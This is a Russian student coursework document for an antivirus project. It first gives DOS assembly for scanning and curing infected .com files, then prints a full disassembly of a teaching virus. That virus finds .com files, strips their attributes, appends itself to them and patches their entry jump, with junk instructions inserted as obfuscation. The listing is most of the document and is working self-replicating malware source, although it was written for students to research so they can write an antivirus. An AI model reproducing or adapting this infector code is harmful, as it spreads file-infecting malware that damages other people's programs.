Добавил:
Upload Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Курсовая_антивирус.docx
Скачиваний:
15
Добавлен:
08.06.2015
Размер:
71 Кб
Скачать
☆
  1. Алгоритм работы антивируса.

  1. Поиск первого файла. Если ошибка, то прыжок на п.9:

mov ah,4eh

mov cx,7

mov dx,offset maska

int 21h

jnc set_attributes

jmp exit

  1. Изменение атрибутов найденного файла на стандартные с предварительным их сохранением внутри антивируса:

mov ax,4300h

mov dx,9eh

int 21h

mov old_attributes,cx

mov ax,4301h

xor cx,cx

mov dx,9eh

int 21h

jnc open

jmp exit

  1. Открытие файла для чтения и записи:

mov ax,3d02h

mov dx,9eh

int 21h

jnc copy_file

jmp find_next

  1. Копирование содержимого файла в память для работы с ним:

xchg ax,bx

mov ah,3fh

mov cx,ds:[9ah]

mov dx,offset buf_file

int 21h

jnc proverka

jmp close_find

5) Проверка на предмет метки заражения и сигнатуры вируса. Если нет метки заражения или не совпадает сигнатура, то закрытие файла:

cmp byte ptr [buf_file+3],0feh

jz next_prov

jmp close_find

next_prov:

lea di,buf_file

mov ax,[di+1]

add ax,3

add di,ax

push di

mov si,offset signature

mov cx,16

cycle: mov al,[si]

cmp al,[di]

jnz close_find

inc si

inc di

loop cycle

  1. Выбор одного из возможных действий с заражённым файлом:

А) Лечение файла и его закрытие:

mov ax,4200h ;перемещение указателя на начало файла

xor cx,cx

xor dx,dx

int 21h

jc close_find

mov ah,40h ;запись исходных четырёх байт

mov dx,298

pop di

add dx,di

mov cx,4

int 21h

jc close_find

jmp delete_vir

delete_vir:

mov ax,4200h ;перемещение указатель на начало аирусного кода

xor cx,cx

mov dx,word ptr [buf_file+1]

add dx,3

int 21h

jc close_find

mov ah,40h ;удаление вирусного кода

int 21h

mov ah,3eh

int 21h

Б) Закрытие файла и его удаление:

mov ah,3eh

int 21h

mov ah,41h

mov dx,09eh

int 21h

inc kolvo_inf

inc kolvo_scan

pop di

jmp find_next

В) Пропуск файла и его закрытие:

mov ah,3eh

int 21h

7) Восстановление атрибутов файла:

mov ax,4301h

mov cx,old_attributes

mov dx,9eh

int 21h

jnc find_next

jmp exit

8) Поиск следующего файла. Если успешно, то прыжок на п.2:

mov ah,4fh

mov cx,7

mov dx,offset maska

int 21h

jc exit

jmp set_attributes

9) Выход из программы:

mov ah,4ch

int 21h

  1. Листинг вируса.

seg000:0100 .686p

seg000:0100 .mmx

seg000:0100 .model tiny

seg000:0100 seg000 segment byte public 'CODE' use16

seg000:0100 assume cs:seg000

seg000:0100 org 100h

seg000:0100 assume es:nothing, ss:nothing, ds:seg000, fs:nothing, gs:nothing

seg000:0100 public start

seg000:0100 start proc near

seg000:0100 jmp vir

seg000:0103 db 0FEh

seg000:0104 db 1

seg000:0105 int 21h

seg000:0107 mov ah, 9

seg000:0109 mov dx, 12Dh

seg000:010C int 21h

seg000:010E mov ah, 9

seg000:0110 mov dx, 15Ch

seg000:0113 int 21h

seg000:0115 mov ah, 9

seg000:0117 mov dx, 17Bh

seg000:011A int 21h

seg000:011C retn

seg000:011C

seg000:011D string1 db 'Hello student',0Dh,0Ah,'$'

seg000:012D string2 db 'This is your virus for researching (kursach)',0Dh,0Ah,'$'

seg000:015C string3 db 'I think you will research it',0Dh,0Ah,'$'

seg000:017B string4 db 'And write cool antivirus',0Dh,0Ah,'$'

seg000:0196

seg000:0196 vir:

seg000:0196 call $+3

seg000:0199

seg000:0199 next:

seg000:0199 rcl si, 1

seg000:019B cmp di, bx

seg000:019D scasb

seg000:019E xor di, cx

seg000:01A0 pop bp

seg000:01A1 cld

seg000:01A2 push ax

seg000:01A3 pop ax

seg000:01A4 sub bp, 99h

seg000:01A8 adc si, 0FF8Eh

seg000:01AB push cs

seg000:01AC pop si

seg000:01AD and di, dx

seg000:01AF add si, ax

seg000:01B1 jmp fresh_bytes

seg000:01B4 sbb di, cx

seg000:01B6 mov si, sp

seg000:01B8 rcr si, cl

seg000:01BA rcr di, cl

seg000:01BC

seg000:01BC find_first:

seg000:01BC mov cx, 7

seg000:01BF and di, di

seg000:01C1 scasw

seg000:01C2 xor di, sp

seg000:01C4 lea dx, [bp+40Bh]

seg000:01C8 rol si, 1

seg000:01CA sbb si, ds:9D32h

seg000:01CE mov ax, 4E00h

seg000:01D1 push cx

seg000:01D2 pop si

seg000:01D3 push ax

seg000:01D4 pop ax

seg000:01D5 sar di, 0FFh

seg000:01D8 sti

seg000:01D9 int 21h

seg000:01DB jnb short continue

seg000:01DD jmp restore_dta

seg000:01E0

seg000:01E0 continue:

seg000:01E0 jns short $+2

seg000:01E2 and si, di

seg000:01E4 inc si

seg000:01E5 dec si

seg000:01E6 push bp

seg000:01E7 pop si

seg000:01E8 jmp set_attributes

seg000:01EB sbb di, dx

seg000:01ED push si

seg000:01EE pop si

seg000:01EF std

seg000:01F0

seg000:01F0 rest_attributes:

seg000:01F0 mov cx, [bp+3DAh]

seg000:01F4 mov di, ax

seg000:01F6 sbb di, cx

seg000:01F8 push sp

seg000:01F9 pop si

seg000:01FA mov ax, 4301h

seg000:01FD push dx

seg000:01FE pop di

seg000:01FF std

seg000:0200 push bx

seg000:0201 pop bx

seg000:0202 lea dx, [bp+1E2h]

seg000:0206 push bp

seg000:0207 pop bp

seg000:0208 sbb di, di

seg000:020A int 21h

seg000:020C or si, ds:8085h

seg000:0210 mov di, ax

seg000:0212 mov di, ds:0FEA9h

seg000:0216 jmp find_next

seg000:0219 cmp si, ds:3831h

seg000:021D xor di, si

seg000:021F

seg000:021F save_data:

seg000:021F mov ax, 5700h

seg000:0222 rcl si, 0BFh

seg000:0225 ja short $+2

seg000:0227 int 21h

seg000:0229 scasw

seg000:022A sub si, sp

seg000:022C lea di, [bp+7F8h]

seg000:0230 mov [bp+468h], dx

seg000:0234 cmpsb

seg000:0235 or si, bx

seg000:0237 add si, bx

seg000:0239 mov [bp+411h], cx

seg000:023D push sp

seg000:023E pop si

seg000:023F sub si, ds:4537h

seg000:0243 jmp mov_poin_to_end

seg000:0246 cmp si, si

seg000:0248 and di, si

seg000:024A sbb di, sp

seg000:024C

seg000:024C save_bytes:

seg000:024C mov cx, 4

seg000:024F xor si, ax

seg000:0251 lea di, [bp-7D5Ch]

seg000:0255 mov ah, 3Fh

seg000:0257 cmpsw

seg000:0258 push sp

seg000:0259 pop sp

seg000:025A push bp

seg000:025B pop si

seg000:025C lea dx, [bp+1C0h]

seg000:0260 shr si, 1

seg000:0262 add di, ds:4B50h

seg000:0266 inc di

seg000:0267 dec di

seg000:0268 mov si, ds:6113h

seg000:026C int 21h

seg000:026E jnb short continue2

seg000:0270 jmp close_file

seg000:0273

seg000:0273 continue2: ; CODE XREF: start+16Ej

seg000:0273 adc si, si

seg000:0275 inc bp

seg000:0276 dec bp

seg000:0277 rol si, 47h

seg000:027A add si, ax

seg000:027C jmp proverka_metka

seg000:027F rcr di, 1

seg000:0281 push si

seg000:0282 pop si

seg000:0283 and si, 3

seg000:0286 sub di, cx

seg000:0288

seg000:0288 fresh_bytes:

seg000:0288 mov ax, [bp+1C2h]

seg000:028C rcr si, 6Ch

seg000:028F add si, ds:0D60Dh

seg000:0293 and si, bp

seg000:0295 push dx

seg000:0296 pop di

seg000:0297 mov word ptr cs:start+2, ax

seg000:029B push sp

seg000:029C pop si

seg000:029D push bp

seg000:029E pop di

seg000:029F mov ax, [bp+1C0h]

seg000:02A3 xor di, dx

seg000:02A5 adc si, sp

seg000:02A7 adc di, di

seg000:02A9 push si

seg000:02AA pop di

seg000:02AB mov word ptr cs:start, ax

seg000:02AF push ds

seg000:02B0 pop si

seg000:02B1 xor di, ds:131Bh

seg000:02B5 jmp set_new_dta

seg000:02B8 or di, dx

seg000:02BA inc bx

seg000:02BB dec bx

seg000:02BC or si, bp

seg000:02BE jz short $+2

seg000:02BE

seg000:02C0 old_bytes db 0B4h, 9, 0BAh, 1Dh

seg000:02C4 new_dta db 2Bh dup(0)

seg000:02EF

seg000:02EF set_attributes:

seg000:02EF mov ax, 4300h

seg000:02F2 xchg si, di

seg000:02F4 sub si, ds:0CA4Ch

seg000:02F8 adc di, bp

seg000:02FA sub si, sp

seg000:02FC lea dx, [bp+1E2h]

seg000:0300 std

seg000:0301 push bp

seg000:0302 pop di

seg000:0303 dec di

seg000:0304 int 21h

seg000:0306 std

seg000:0307 adc si, bp

seg000:0309 shr di, 1

seg000:030B cmpsb

seg000:030C mov [bp+3DAh], cx

seg000:0310 push es

seg000:0311 pop di

seg000:0312 add si, ds:3C74h

seg000:0316 lea di, [bp+43BCh]

seg000:031A inc di

seg000:031B dec di

seg000:031C mov ax, 4301h

seg000:031F dec di

seg000:0320 and di, di

seg000:0322 xor cx, cx

seg000:0324 cmp di, cx

seg000:0326 add si, 0FF90h

seg000:0329 int 21h

seg000:032B and si, dx

seg000:032D std

seg000:032E lea di, [bp+1D0Ah]

seg000:0332 push di

seg000:0333 pop di

seg000:0334 jmp open

seg000:0337 ror di, 1

seg000:0339 adc di, bp

seg000:033B push cx

seg000:033C pop cx

seg000:033D cmp di, di

seg000:033F

seg000:033F close_file:

seg000:033F mov ah, 3Eh

seg000:0341 adc si, di

seg000:0343 adc si, 0FFA6h

seg000:0346 push dx

seg000:0347 pop dx

seg000:0348 push ss

seg000:0349 pop di

seg000:034A int 21h

seg000:034C and si, ax

seg000:034E or di, 0FFA2h

seg000:0351 sti

seg000:0352 jmp rest_attributes

seg000:0355 sub di, 7Ch

seg000:0358 add si, ax

seg000:035A

seg000:035A set_new_dta:

seg000:035A lea dx, [bp+1C4h]

seg000:035E sbb di, bx

seg000:0360 or si, ds:25A9h

seg000:0364 push si

seg000:0365 pop di

seg000:0366 mov ah, 1Ah

seg000:0368 adc si, ds:68B8h

seg000:036C shr di, 0EFh

seg000:036F and di, si

seg000:0371 nop

seg000:0372 int 21h

seg000:0374 and di, di

seg000:0376 jb short $+2

seg000:0378 jmp find_first

seg000:037B jl short $+2

seg000:037D add di, dx

seg000:037F shl di, 2Ch

seg000:0382 dec si

seg000:0383

seg000:0383 open:

seg000:0383 lea dx, [bp+1E2h]

seg000:0387 push bx

seg000:0388 pop di

seg000:0389 push di

seg000:038A pop di

seg000:038B shr si, 0EEh

seg000:038E mov ax, 3D02h

seg000:0391 sub di, ds:9C66h

seg000:0395 push di

seg000:0396 pop si

seg000:0397 int 21h

seg000:0399 jnb short mov_descr

seg000:039B jmp rest_attributes

seg000:039E

seg000:039E mov_descr:

seg000:039E add di, dx

seg000:03A0 sti

seg000:03A1 sbb si, si

seg000:03A3 mov bx, ax

seg000:03A5 push ax

seg000:03A6 pop di

seg000:03A7 dec si

seg000:03A8 push dx

seg000:03A9 pop di

seg000:03AA jmp save_bytes

seg000:03AD xor di, 66h

seg000:03B0 push es

seg000:03B1 pop di

seg000:03B2 push sp

seg000:03B3 pop di

seg000:03B4

seg000:03B4 find_next:

seg000:03B4 mov ah, 4Fh

seg000:03B6 scasb

seg000:03B7 jbe short $+2

seg000:03B9 add di, sp

seg000:03BB push cx

seg000:03BC pop di

seg000:03BD int 21h

seg000:03BF jb short forward

seg000:03C1 jmp set_attributes

seg000:03C4

seg000:03C4 forward:

seg000:03C4 adc si, ds:25F1h

seg000:03C8 mov si, ds:0D23Bh

seg000:03CC jmp restore_dta

seg000:03CF push ss

seg000:03D0 pop si

seg000:03D1 push es

seg000:03D2 pop si

seg000:03D3

seg000:03D3 restore_dta:

seg000:03D3 mov ax, 1A00h

seg000:03D6 add si, bx

seg000:03D8 xor di, si

seg000:03DA adc si, dx

seg000:03DC mov dx, 80h

seg000:03DF sti

seg000:03E0 inc bp

seg000:03E1 dec bp

seg000:03E2 add di, bp

seg000:03E4 int 21h

seg000:03E6 adc di, cx

seg000:03E8 or di, di

seg000:03EA jmp exit

seg000:03ED add si, dx

seg000:03EF push bp

seg000:03F0 pop bp

seg000:03F1 and si, ds:0C330h

seg000:03F5 cmp di, cx

seg000:03F7

seg000:03F7 mov_poin_to_beg:

seg000:03F7 xor dx, dx

seg000:03F9 nop

seg000:03FA std

seg000:03FB adc si, dx

seg000:03FD std

seg000:03FE xor cx, cx

seg000:0400 inc di

seg000:0401 cld

seg000:0402 mov ax, 4200h

seg000:0405 sub si, ax

seg000:0407 jo short $+2

seg000:0409 int 21h

seg000:040B jnb short write_bytes

seg000:040D jmp restore_data

seg000:0410

seg000:0410 write_bytes:

seg000:0410 jo short $+2

seg000:0412 adc di, ds:90BBh

seg000:0416 push bx

seg000:0417 pop si

seg000:0418 cmp si, di

seg000:041A mov cx, 4

seg000:041D cmp di, 4Fh

seg000:0420 adc di, di

seg000:0422 rcl di, 0E7h

seg000:0425 add si, bp

seg000:0427 lea dx, [bp+3D6h]

seg000:042B push sp

seg000:042C pop si

seg000:042D dec di

seg000:042E mov ah, 40h

seg000:0430 sbb di, sp

seg000:0432 and di, bx

seg000:0434 push sp

seg000:0435 pop si

seg000:0436 int 21h

seg000:0438 jnb short next_step2

seg000:043A jmp restore_data

seg000:043D

seg000:043D next_step2:

seg000:043D push ds

seg000:043E pop si

seg000:043F adc si, sp

seg000:0441 jmp restore_data

seg000:0444 push cs

seg000:0445 pop si

seg000:0446 add si, dx

seg000:0448 inc cx

seg000:0449 dec cx

seg000:044A adc di, cx

seg000:044C

seg000:044C exit:

seg000:044C mov ax, 0DBDAh

seg000:044F add si, bp

seg000:0451 push di

seg000:0452 pop di

seg000:0453 xor ax, 0DADAh

seg000:0456 sar si, cl

seg000:0458 xchg si, di

seg000:045A push ax

seg000:045B pop ax

seg000:045C add di, dx

seg000:045E jmp ax

seg000:0460 jp short $+2

seg000:0462 xor si, bx

seg000:0464

seg000:0464 mov_poin_to_end:

seg000:0464 xor cx, cx

seg000:0466 add di, ax

seg000:0468 rcr si, 97h

seg000:046B sub di, ds:4E18h

seg000:046F push ax

seg000:0470 pop ax

seg000:0471 mov ax, 4202h

seg000:0474 jnp short $+2

seg000:0476 mov di, di

seg000:0478 shl di, cl

seg000:047A and si, di

seg000:047C xor dx, dx

seg000:047E dec di

seg000:047F dec si

seg000:0480 push bx

seg000:0481 pop bx

seg000:0482 int 21h

seg000:0484 jnb short write_vir

seg000:0486 jmp restore_data

seg000:0489

seg000:0489 write_vir:

seg000:0489 push ax

seg000:048A pop di

seg000:048B add di, cx

seg000:048D jz short $+2

seg000:048F inc si

seg000:0490 sub ax, 3

seg000:0493 adc si, bp

seg000:0495 sub di, si

seg000:0497 scasw

seg000:0498 mov [bp+3D7h], ax

seg000:049C and di, si

seg000:049E push es

seg000:049F pop si

seg000:04A0 push ds

seg000:04A1 pop di

seg000:04A2 mov ah, 40h

seg000:04A4 xor si, 0FFA9h

seg000:04A7 xor si, bp

seg000:04A9 sub si, bp

seg000:04AB mov cx, [bp+466h]

seg000:04AF inc bx

seg000:04B0 dec bx

seg000:04B1 inc si

seg000:04B2 dec si

seg000:04B3 mov si, ax

seg000:04B5 xor di, ax

seg000:04B7 lea dx, [bp+96h]

seg000:04BB std

seg000:04BC rol di, 2Dh

seg000:04BF xor di, si

seg000:04C1 xor di, ax

seg000:04C3 int 21h

seg000:04C5 jnb short next_step

seg000:04C7 jmp restore_data

seg000:04CA

seg000:04CA next_step:

seg000:04CA push cs

seg000:04CB pop di

seg000:04CC scasw

seg000:04CD jmp mov_poin_to_beg

seg000:04D0 or si, dx

seg000:04D2 push bp

seg000:04D3 pop di

seg000:04D4 xor si, dx

seg000:04D4

seg000:04D6 new_bytes db 0E9h, 93h, 0, 0FEh

seg000:04DA old_attrib dw 0

seg000:04DC

seg000:04DC restore_data:

seg000:04DC mov dx, [bp+468h]

seg000:04E0 adc di, si

seg000:04E2 or di, 55h

seg000:04E5 mov ax, 5701h

seg000:04E8 push cs

seg000:04E9 pop si

seg000:04EA sub si, bp

seg000:04EC sub si, bx

seg000:04EE mov cx, [bp+411h]

seg000:04F2 cmpsb

seg000:04F3 adc di, ds:74CDh

seg000:04F7 int 21h

seg000:04F9 or si, bp

seg000:04FB or di, dx

seg000:04FD inc dx

seg000:04FE dec dx

seg000:04FF jmp close_file

seg000:0502 scasb

seg000:0503 rol di, 0FBh

seg000:0506 push sp

seg000:0507 pop sp

seg000:0508 rol di, 2

seg000:0508

seg000:050B maska db '*.com',0

seg000:0511 old_cx dw 0

seg000:0513

seg000:0513 proverka_metka:

seg000:0513 cmp byte ptr [bp+1C3h], 0FEh

seg000:0518 jnz short proverka_exe

seg000:051A jmp close_file

seg000:051D

seg000:051D proverka_exe:

seg000:051D sbb di, sp

seg000:051F add si, ds:6EA4h

seg000:0523 cmp word ptr [bp+1C0h], 5A4Dh

seg000:0529 jnz short proverka_min

seg000:052B jmp close_file

seg000:052E

seg000:052E proverka_min:

seg000:052E nop

seg000:052F mov di, si

seg000:0531 cmp si, 17h

seg000:0534 mov ax, [bp+1DEh]

seg000:0538 rol di, 0A1h

seg000:053B push cx

seg000:053C pop di

seg000:053D sbb si, di

seg000:053F add di, dx

seg000:0541 cmp ax, 400h

seg000:0544 ja short proverka_max

seg000:0546 jmp close_file

seg000:0549

seg000:0549 proverka_max:

seg000:0549 inc si

seg000:054A dec si

seg000:054B ror di, 1

seg000:054D cmp ax, 0FA00h

seg000:0550 jb short okay

seg000:0552 jmp close_file

seg000:0555

seg000:0555 okay:

seg000:0555 add si, 6Fh

seg000:0558 sbb si, dx

seg000:055A jmp save_data

seg000:055A start endp

seg000:055A

seg000:055D ror di, 0C5h

seg000:0560 sbb si, ds:4B22h

seg000:0564 adc si, di

seg000:0564

seg000:0566 vir_len dw 3D4h

seg000:0568 old_dx dw 0

seg000:0568 seg000 ends

seg000:0568 end start